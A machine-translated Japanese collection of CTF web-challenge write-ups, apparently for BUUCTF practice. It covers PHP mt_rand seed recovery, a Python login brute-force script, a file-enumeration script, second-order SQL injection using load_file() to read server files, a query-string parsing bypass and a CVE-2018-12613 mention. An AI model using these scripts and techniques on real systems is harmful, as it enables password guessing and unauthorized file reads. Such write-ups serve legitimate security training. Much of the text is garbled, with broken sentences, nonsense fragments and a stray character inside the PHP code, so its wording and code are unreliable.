記事ディレクトリ
[GWCTF2019]退屈な宝くじ
トピックを開くのはこのようなもの
ですソースコードを表示してください!!!主要なウェブページを見つけて開きます!!
以下はコード監査リンクです
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){
x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
phpの疑似ランダムブラストを使用し、pythonスクリプトを使用します
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'zXGgRbXiep'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break
print(res)
次に、php疑似ランダム番号ブラストツールを使用し
て結果を取り込み、フラグを取得します
<?php
mt_srand(948663066);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";
[所属鼎杯2018]コメント
まず、ログインしてメッセージを残す必要があります。ログインボックスのプロンプトを見てください。burpを使用する必要があることはおそらく知ってい
ますが、兄のスパイシーなチキンスクリプトをハングアップするのはpythonが好きです。
import requests
import time
session = requests.session()
for i in range(999):
data = {
'username': 'zhangwei',
'password': f'zhangwei{i}'
}
r = session.post('http://89a6083e-7291-41f2-b946-fc56ecd543c1.node3.buuoj.cn/login.php', data=data)
print(i)
time.sleep(0.2)
if 'username or password error' not in r.text:
print(r.text)
print(data)
ここzhangwei666
でパスワードを取得してからログインします。
最初にSQLインジェクションかどうかをテストしますが、明らかにそうではありません。
次にXSS
、それが本当に成功したかどうかを試してください。Cookieを
再生しようとして失敗しました。コンソールで何か良いものが表示されましたが、
まったく表示されませんでした。これを行います。他の人のブログを読んだ後、ファイルを復元する必要があることがわかりました。git log --reflog
すべてのブランチレコードを表示します。
二次注入の問題
。通常の注入でエコーが発生しない理由がわかりません。
ユーザーがroot権限を持っていることをユーザーが知っている場合、フラグはデータベースにありません(データベースにある場合、root権限は必要ないため)。 SQLインジェクションを使用してローカルファイルを読み取ることができますload_file()
bash_historyを表示するwwwユーザーがいます
。現在のユーザーが使用した履歴コマンドを保存して、簡単に見つけられます。
彼が/ home / www /の下の.DS_Storeファイルを削除したことを確認しました。ターゲット環境はdockerであるため、.DS_Storeファイルは/ tmp / htmlにあるはずです。に。.DS_Storeファイルには、多くの場合、目に見えない文字がいくつかあり、hex関数を使用して16進数に変換できます。
[BJDCTF2番目] elementmaster
リクエスト後にこれを見つけましたか???ヘキサデシマルショー
ここから、それは化学元素であると推測されます。
インターネットでスクリプトを見つけてください。
import requests
url='http://86512ce4-2a07-43e0-a9f6-edabc83ec7d5.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in element:
r=requests.get(url+i+'.php')
if r.status_code == 200:
flag+=r.text
print (flag)
結果And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
を取得するフラグを取得するには、訪問してください
[MRCTF2020]マトリョシュカ
?b%20u%20p%20t=23333%0a
まず、暗号化防止コードが登場します
[HCTF 2018] WarmUp
CVE-2018-12613
参考記事
git resetplus
とnotの違い--hardi SpringとAutumnこの記事は、PHPの文字列解析機能Bypassを使用して非常によく書かれ
ています。